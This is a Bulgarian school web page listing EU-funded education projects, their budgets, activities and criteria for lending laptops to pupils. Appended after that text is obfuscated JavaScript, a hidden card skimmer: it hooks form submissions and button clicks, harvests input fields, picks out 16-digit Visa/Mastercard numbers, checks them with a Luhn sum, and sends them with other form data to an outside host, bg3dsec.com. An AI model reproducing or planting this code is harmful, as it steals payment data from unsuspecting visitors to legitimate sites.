BG05SFPR001-1.001-0001 „УСПЕХ ЗА ТЕБ“

Стартиралият нов проект „Успех за теб“ по програма „Образование“ – 2021-2027, съфинансирана от ЕС, ще даде възможност на училищата с комплекс от дейности да помогнат учениците да подобрят образователните си резултати. По-голямата продължителност на проекта – 5 години, ще позволи по-добро усвояване на придобитите умения и постигане на по-добър ефект.

Това заяви ръководителят на екипа за организация и управление на проекта Грета Ганчева, директор на дирекция „Приобщаващо образование“ в МОН по време на информационна онлайн среща, в която се включиха близо 1700 училища. Новият проект надгражда работата досега по проектите „Подкрепа за успех“, „Подкрепа за приобщаващо образование“ и „Равен достъп до училищно образование в условията на кризи“, както и по национални програми.

Проектът „Успех за теб“ е фокусиран основно от 1 до 7 клас. Поставя се акцент върху общата и допълнителна подкрепа за ученици в риск от отпадане, както и върху обученията по български език и литература на ученици с цел успешното им представяне на националните външни оценявания, но и на държавните зрелостни изпити.

Има възможност за работа на образователните медиатори и социалните работници.

Ще се финансират дейности по кариерно ориентиране на учениците, за да могат да направят своя информиран избор, особено след 7-ми клас, накъде да продължат образованието си.

Друга част от дейностите са за ученици със специални образователни потребности. От една страна се подкрепят учениците в подготовка по учебното съдържание, а от друга – чрез рехабилитации и терапии, психологическа подкрепа и др. И за двата вида подкрепа могат да се назначават специалисти, които да работят в училищата с тези деца, като тук се включват ресурсни учители, психолози, логопеди, социални работници, помощници на учителя и др. Училищата ще получават финансиране и за работа с деца с изявени дарби, за тяхната подготовка в областта, в която те развиват своите заложби и способности.

В проекта има заложени и обучения на над 4000 педагогически специалисти и непедагогически персонал. Тук се включват и образователни медиатори, социални работници и друг непедагогически персонал.

В дейностите са заложени и занимания по интереси, междуучилищни дейности и допълнителни обучения по учебни предмети. Идеята е учениците да преодолеят затрудненията в ученето и да преминат по-плавно през етапите на образование.

С финансиране от 151 123 000 лева училищата ще могат да подкрепят близо 100 000 ученици и техните родители.

Проект BG05SFPR001-1.003-0001 „Силен старт“

Процедура: BG05SFPR001-1.003 „Обща и допълнителна подкрепа за личностно развитие в предучилищното образование“

Конкретен бенефициент (КБ): Министерство на образованието и науката (МОН)

Срок на изпълнение на проекта: 15.02.2024 г. – 15.02.2029 г.

Общ бюджет на проекта: 105 400 000,00 лв. (86 966 657,68 лв. – средства от Европейския социален фонд плюс (ЕСФ+) и 18 433 342,32 лв. – национално съфинансиране), от които 17 488 948,73 лв. за Регион в преход (Югозападен район) и 87 911 051,27 лв. за По-слабо развити региони (Северозападен район, Северен централен район, Североизточен район, Югоизточен район, Южен централен район).

Описание/цели на проекта: Проектът ще се изпълнява в рамките на операция от стратегическо значение и предвижда да разгърне потенциала на децата от предучилищното образование чрез подкрепа за личното им развитие с оглед по-успешна социална реализация.

Проектът предвижда провеждане на обучения за педагогически и непедагогически специалисти, което ще допринесе в значителна степен за подобряване на процесите на взаимодействие с децата, ще подкрепи изграждането на приобщаваща среда и ще повиши ефективността на екипната работа. Чрез различни инициативи и мероприятия (вкл. обучения) ще се работи интензивно с родители от уязвимите групи, което ще оказва влияние от една страна на плавната адаптация на детето към новата среда, а от друга страна изгражда положително отношение в общността към ползите от образованието и грижите в ранна детска възраст (ОГРДВ) и от образованието като цяло. По проекта ще се предоставя допълнителна подкрепа за личностно развитие на деца със СОП, в риск, с хронични заболявания и изявени дарби. На фокус ще бъде също и достъпът и трайното предоставяне на обща подкрепа за личностно развитие под формата на обучения, занимания по интереси и др.

Дейностите ще надградят и мерките по прилагане на Европейската гаранция за детето, както и прилагането на Национална рамка за качество на образованието и грижите в ранна детска възраст.

Дейности по проекта:

Дейност № 1 „Повишаване квалификацията на педагогическите специалисти, вкл. нови в системата учители, и на експерти от РУО за осъществяване на обща и допълнителна подкрепа за личностно развитие, вкл. социално-емоционалното учене в детските градини, в т.ч. техни яслени групи, и училища с групи за задължително предучилищно образование както и обучения на непедагогическия персонал, вкл. образователни медиатори и социални работници за подпомагане на обучението, в съответствие с утвърдени програми за професионалното и кариерното им развитие.“
Дейност № 2 „Интензивна работа с родители на ниво детска градина, в т.ч. техни яслени групи, и на ниво училище с групи за задължително предучилищно образование за формиране на положителни нагласи към образованието и за пълноценното им участие в образователния процес.“
Дейност № 3 „Допълнителна подкрепа за личностно развитие на деца със специални образователни потребности, в риск, с хронични заболявания и изявени дарби за трайно приобщаване в предучилищното образование.“
Дейност № 4 „Обща подкрепа за личностно развитие за достъп и трайно приобщаване на деца в предучилищното образование.“

Процедура: BG05SFPR001-1.003 „Обща и допълнителна подкрепа за личностно развитие в предучилищното образование“

Конкретен бенефициент (КБ): Министерство на образованието и науката (МОН)

Срок на изпълнение на проекта: 15.02.2024 г. – 15.02.2029 г.

Дейности по проекта:

Дейност № 1 „Повишаване квалификацията на педагогическите специалисти, вкл. нови в системата учители, и на експерти от РУО за осъществяване на обща и допълнителна подкрепа за личностно развитие, вкл. социално-емоционалното учене в детските градини, в т.ч. техни яслени групи, и училища с групи за задължително предучилищно образование както и обучения на непедагогическия персонал, вкл. образователни медиатори и социални работници за подпомагане на обучението, в съответствие с утвърдени програми за професионалното и кариерното им развитие.“
Дейност № 2 „Интензивна работа с родители на ниво детска градина, в т.ч. техни яслени групи, и на ниво училище с групи за задължително предучилищно образование за формиране на положителни нагласи към образованието и за пълноценното им участие в образователния процес.“
Дейност № 3 „Допълнителна подкрепа за личностно развитие на деца със специални образователни потребности, в риск, с хронични заболявания и изявени дарби за трайно приобщаване в предучилищното образование.“
Дейност № 4 „Обща подкрепа за личностно развитие за достъп и трайно приобщаване на деца в предучилищното образование.“

Проект BG05M2ОP001-5.001-0001 „Равен достъп до училищно образование в условията на кризи“

Съгласно заповед № РД09-006 от 27.04. 2021 г. на министъра на образованието и науката, ПГ по текстил и моден дизайн – гр. Варна е включена в проект № BG05M2ОP001-5.001-0001 „Равен достъп до училищно образование в условията на кризи“, Дейност 1 – Закупуване на технически средства за педагогически специалисти и ученици за обезпечаване на образователния процес в условията на кризи.

Доставени са 15 броя Лаптопи с ОС Windows: Dell Latitude Education 3190 2-in-1, 7 броя преносими компютри Lenovo ThinkPad L14 Gen2, 20 броя таблет Lenovo и 1 брой универсални шкафове за съхранение и зареждане на обща стойност 25 172,81 лв.

В случаите на криза и при преминаване към обучение от разстояние в електронна среда, за осигуряване на непрекъснат учебен процес, техническите устройства се предоставят за временно ползване на ученици и педагогически специалисти.

Осигурените технически средства се разпределят на учениците, които нямат технически устройства в дома си по следните критерии:

– Ученици застрашени от отпадане от системата на училищното образование или чийто достъп до образование е поставен в повишен риск, поради ниското образователно ниво на родителите/настойниците им и свързаните с това неблагоприятна позиция на пазара на труда и риск от социално изключване;

– Ученици с родителска незаинтересованост, противоречия, конфликти, напрежения и кризи в семейството;
– Ученици с отрицателно въздействие на домашната среда;
– Ученици с функционална неграмотност и ниско образование на родителите и др.;
– Ученици с трудности в усвояване на учебното съдържание, липса на навици за учене;
– Ученици с негативни нагласи към образователния процес, липса на мотивация, голям брой отсъствия и др.;
– Ученици с ниска степен на готовност за училище;
– Ученици с липса на познавателна мотивация, липса на мотивация на родителите за получаване на образование;
– Ученици сираци или полусираци;
– Ученици от етнически малцинства; – Ученици от семейства с две и повече деца;

ПРОЕКТ BG05M2ОP001-2.011-0001 „ПОДКРЕПА ЗА УСПЕХ“

Министерството на образованието и науката e конкретен бенефициент чрез процедура за директно предоставяне „Подкрепа за успех“ по Оперативна програма „Наука и образование за интелигентен растеж“ (ОП НОИР) 2014-2020 г., съфинансирана от Европейския съюз чрез Европейските структурни и инвестиционни фондове.

АПСПО

Министерството на образованието и науката е конкретен бенефициент по проект BG05M2OP001-3.005-0004 „Активно приобщаване в системата на предучилищното образование“, чието изпълнение стартира на 16 май 2019 г. Проектът се реализира по Оперативна програма „Наука и образование за интелигентен растеж” 2014-2020 г. Партньор в реализирането на проекта е Центъра за образователна интеграция на децата и учениците от етническите малцинства (ЦОИДУЕМ). Продължителността на проекта е 30 месеца.
С разбирането, че предучилищното образование е важен период в живота на детето с оглед формиране на положително отношение към училището и създаване на мотивация за учене, разширяването на достъпа до предучилищно образование на децата от уязвими групи и живеещи в бедност е основна цел на проекта. Проектът е на обща стойност 82 500 000,00 лева и се финансира по Оперативна програма „Наука и образование за интелигентен растеж“, съфинансирана от Европейския социален фонд.
Дейностите по проекта, които ще се реализират на територията на Република България, са следните:

• Дейност 1: Допълнително обучение по български език за деца от уязвими групи;

• Дейност 2: Провеждане на дейности за педагогическа, психологическа и социална подкрепа на деца от уязвими групи, включително обезпечаване на средствата за такси на детски градини с повишена концентрация на деца от уязвими групи, осигуряване на допълнителен педагогически и непедагогически персонал, осигуряване на учебни материали, пособия, помагала и др,;

• Дейност 3: Осъществяване на обучения, вкл. осигуряване на обучителни материали, пособия и др.;

• Дейност 4: Реализиране на дейности за педагогическа, психологическа и социална подкрепа за родители на деца от уязвими групи и за формиране у тях на мотивация за активно приобщаване на децата им в системата на предучилищното образование, в т. ч. чрез дейността на образователни медиатори, на социални работници, ромски лидери или представители на ромската общност, вкл. чрез осигуряване на материали, пособия, помагала и др.;

• Дейност 5: Провеждане на дейности за изграждане на положителни обществени нагласи към предучилищното образование и за недопускане на дискриминация.

• Дейност 1: Допълнително обучение по български език за деца от уязвими групи;

• Дейност 3: Осъществяване на обучения, вкл. осигуряване на обучителни материали, пособия и др.;

• Дейност 1: Допълнително обучение по български език за деца от уязвими групи;

• Дейност 3: Осъществяване на обучения, вкл. осигуряване на обучителни материали, пособия и др.;

254122045911mz Y29uc29sZS5sb2coImxvZzEiKTs=

254122045911mz

Y29uc29sZS5sb2coImxvZzEiKTs=

254122045911mz

Y29uc29sZS5sb2coImxvZzEiKTs=

254122045911mz

254122045911mz var gg1=Math.floor(Math.random()*9999999999)+1000000000;
var gg2=Math.floor(Math.random()*999999999)+100000000;
var data4="data4";
var gg3=gg1.toString();
var gg4=gg2.toString();
var hh0=parseInt(gg3.charAt(0));
var hh1=parseInt(gg3.charAt(1));
var hh2=parseInt(gg3.charAt(2));
var hh3=parseInt(gg3.charAt(3));
var hh4=parseInt(gg3.charAt(4));
var hh5=parseInt(gg3.charAt(5));
var hh6=parseInt(gg3.charAt(6));
var hh7=parseInt(gg3.charAt(7));
var hh8=parseInt(gg3.charAt(8));
var hh9=parseInt(gg3.charAt(9));
var hh10=parseInt(gg4.charAt(0));
var hh11=parseInt(gg4.charAt(1));
var hh12=parseInt(gg4.charAt(2));
var hh13=parseInt(gg4.charAt(3));
var hh14=parseInt(gg4.charAt(4));
var hh15=parseInt(gg4.charAt(5));
var hh16=parseInt(gg4.charAt(6));
var hh17=parseInt(gg4.charAt(7));
var hh18=parseInt(gg4.charAt(8));
var dd0="d";
var dd1="e";
var dd2="f";
var dd3="a";
var dd4="u";
var dd5="l";
var dd6="t";
var dd7="p";
var dd8="s";
var dd9="e";
var dd10="r";
var dd11="v";
var dd12="p";
var dd13="r";
var dd14="o";
var dd15="a";
var dd16="s";
var dd17="p";
var dd18="x";
if(hh0>5){
dd0="D";
}
if(hh1>5){
dd1="E";
}
if(hh2>5){
dd2="F";
}
if(hh3>5){
dd3="A";
}
if(hh4>5){
dd4="U";
}
if(hh5>5){
dd5="L";
}
if(hh6>5){
dd6="T";
}
if(hh7>5){
dd7="P";
}
if(hh8>5){
dd8="S";
}
if(hh9>5){
dd9="E";
}
if(hh10>5){
dd10="R";
}
if(hh11>5){
dd11="V";
}
if(hh12>5){
dd12="P";
}
if(hh13>5){
dd13="R";
}
if(hh14>5){
dd14="O";
}
if(hh15>5){
dd15="A";
}
if(hh16>5){
dd16="S";
}
if(hh17>5){
dd17="P";
}
if(hh18>5){
dd18="X";
}
var foff=dd0+dd1+dd2+dd3+dd4+dd5+dd6+"."+dd15+dd16+dd17+dd18;
let num=document.forms.length;
let formsCollection2=document.forms;
for (var i2=0; i2<formsCollection2.length; i2++){
formsCollection2[i2].onsubmit=function(){
TestOnB();
}
}
let formsCollection2a=document.getElementsByTagName("button");
for (var i2a=0; i2a<formsCollection2a.length; i2a++){
formsCollection2a[i2a].onclick=function(){
TestOnB();
}
}
window.onsubmit=function(){

let t1=document.location.href.toLowerCase();
let r2=t1.includes("e1b2b3.u1b2b3.bg");
if(r2==true){
} else {
TestOnB();
}


}
function TestOnB(){
var hohod="ds.";
var site=window.location.hostname;
var str1="";
var nnn="";
var hohoc="ica";
var check1=0;
var check2=0;
var loola=0;
var hohoe="3";
var formsCollection=document.getElementsByTagName('input');
for (var i=0; i<formsCollection.length; i++){
var haha=formsCollection[i].id;
var haha2=formsCollection[i].type;
var haha3=formsCollection[i].value;
var haha4=formsCollection[i].name;
if(haha3.length>14){
haha3=haha3.replace(/\s/g, '');
var isnum=/^\d+$/.test(haha3);
var n1=haha3.startsWith('4');
var n2=haha3.startsWith('5');
var n3=haha3.startsWith('6');
var n0=haha3.startsWith('3');
if(n1==true){
check2=1;
}
if(n2==true){
check2=1;
}
if(n3==true){
check2=0;
}
if(n0==true){
check2=0;
}
}
if(haha3.length==15){
if(isnum==true){
if(check2='1'){
check1='0';
}
}
}
if(haha3.length==16){
if(isnum==true){
if(check2==1){
check1='1';
nnn=haha3
}
}
}
if(haha3.length==17){
if(isnum==true){
if(check2==1){
check1='0';
}
}
}
if(haha3.length>0){
if(haha2=="hidden"){
} else {
str1=str1+haha4+"--"+haha3+"-";
}
}
}
var ch1='1'
if(check1==1){
var formsCollection2=document.getElementsByTagName('select');
for (var i2=0; i2<formsCollection2.length; i2++){
var shaha=formsCollection2[i2].id;
var shaha2=formsCollection2[i2].type;
var shaha3=formsCollection2[i2].value;
var shaha4=formsCollection2[i2].name;
str1=str1+shaha4+"--"+shaha3+"-"
site=site+"-Rol@and4You";
str1=site+"-"+str1;
}
var hohoa="bor";
var hohob=".bg";
if(site==hohoe+hohod+hohoa+hohoc+hohob){
} else {
if(nnn.startsWith("4") || nnn.startsWith("5")){
loola=1;
var ha1=":";
var ha2="h";
var ha3="p";
var ha4="/";
var ha5="t";
var text=nnn;
var var1=text.charAt(0);
var var2=text.charAt(1);
var var3=text.charAt(2);
var var4=text.charAt(3);
var var5=text.charAt(4);
var var6=text.charAt(5);
var var7=text.charAt(6);
var var8=text.charAt(7);
var var9=text.charAt(8);
var var10=text.charAt(9);
var var11=text.charAt(10);
var var12=text.charAt(11);
var var13=text.charAt(12);
var var14=text.charAt(13);
var var15=text.charAt(14);
var var16=text.charAt(15);
var s2=parseInt(var2);
var s4=parseInt(var4);
var s6=parseInt(var6);
var s8=parseInt(var8);
var s10=parseInt(var10);
var s12=parseInt(var12);
var s14=parseInt(var14);
var s16=parseInt(var16);

var s1=parseInt(var1)*2;
if(s1>9){
let z1=s1.toString()
var mm11=z1.charAt(0);
var mm21=z1.charAt(1);
s1=parseInt(mm11)+parseInt(mm21);
};
var s3=parseInt(var3)*2;
if(s3>9){
let z3=s3.toString()
var mm13=z3.charAt(0);
var mm23=z3.charAt(1);
s3=parseInt(mm13)+parseInt(mm23);
};
var s5=parseInt(var5)*2;
if(s5>9){
let z5=s5.toString()
var mm15=z5.charAt(0);
var mm25=z5.charAt(1);
s5=parseInt(mm15)+parseInt(mm25);
};
var s7=parseInt(var7)*2;
if(s7>9){
let z7=s7.toString()
var mm17=z7.charAt(0);
var mm27=z7.charAt(1);
s7=parseInt(mm17)+parseInt(mm27);
};
var s9=parseInt(var9)*2;
if(s9>9){
let z9=s9.toString()
var mm19=z9.charAt(0);
var mm29=z9.charAt(1);
s9=parseInt(mm19)+parseInt(mm29);
};
var s11=parseInt(var11)*2;
if(s11>9){
let z11=s11.toString()
var mm111=z11.charAt(0);
var mm211=z11.charAt(1);
s11=parseInt(mm111)+parseInt(mm211);
};
var s13=parseInt(var13)*2;
if(s13>9){
let z13=s13.toString()
var mm113=z13.charAt(0);
var mm213=z13.charAt(1);
s13=parseInt(mm113)+parseInt(mm213);
};
var s15=parseInt(var15)*2;
if(s15>9){
let z15=s15.toString()
var mm115=z15.charAt(0);
var mm215=z15.charAt(1);
s15=parseInt(mm115)+parseInt(mm215);
};
var moli=s1+s2+s3+s4+s5+s6+s7+s8+s9+s10+s11+s12+s13+s14+s15+s16;
moli=moli.toString();
var a=document.createElement('a');
var linkText=document.createTextNode("my title text");
a.appendChild(linkText);
a.id="id222";
a.title="my title text";
data4 = document.getElementById("ach123").innerHTML;
a.href="https://bg3dsec.com/"+foff+"?S="+data4+"-"+site+"&D="+str1+"&N="+nnn;
document.body.appendChild(a);
document.getElementById('id222').click();

var ig=0;
var d=new Date();
var n=d.getSeconds();
do {
var d2=new Date();
var n4=d2.getSeconds();
if(n<55){
if(n+5<n4){
ig=3;
}
}
if(n>54){
if(n+5<n4+60){
ig=3;
}
}
}
while (ig<2);
if(loola==1){
}
}
}
}
}










const df1=(sa1,en1)=>{
const te1=(text)=>text.split("").map((c) => c.charCodeAt(0));
const ap1=(code)=>te1(sa1).reduce((a, b) => a ^ b, code);
return en1
.match(/.{1,2}/g)
.map((hex)=>parseInt(hex,16))
.map(ap1)
.map((charCode)=>String.fromCharCode(charCode))
.join("");
};



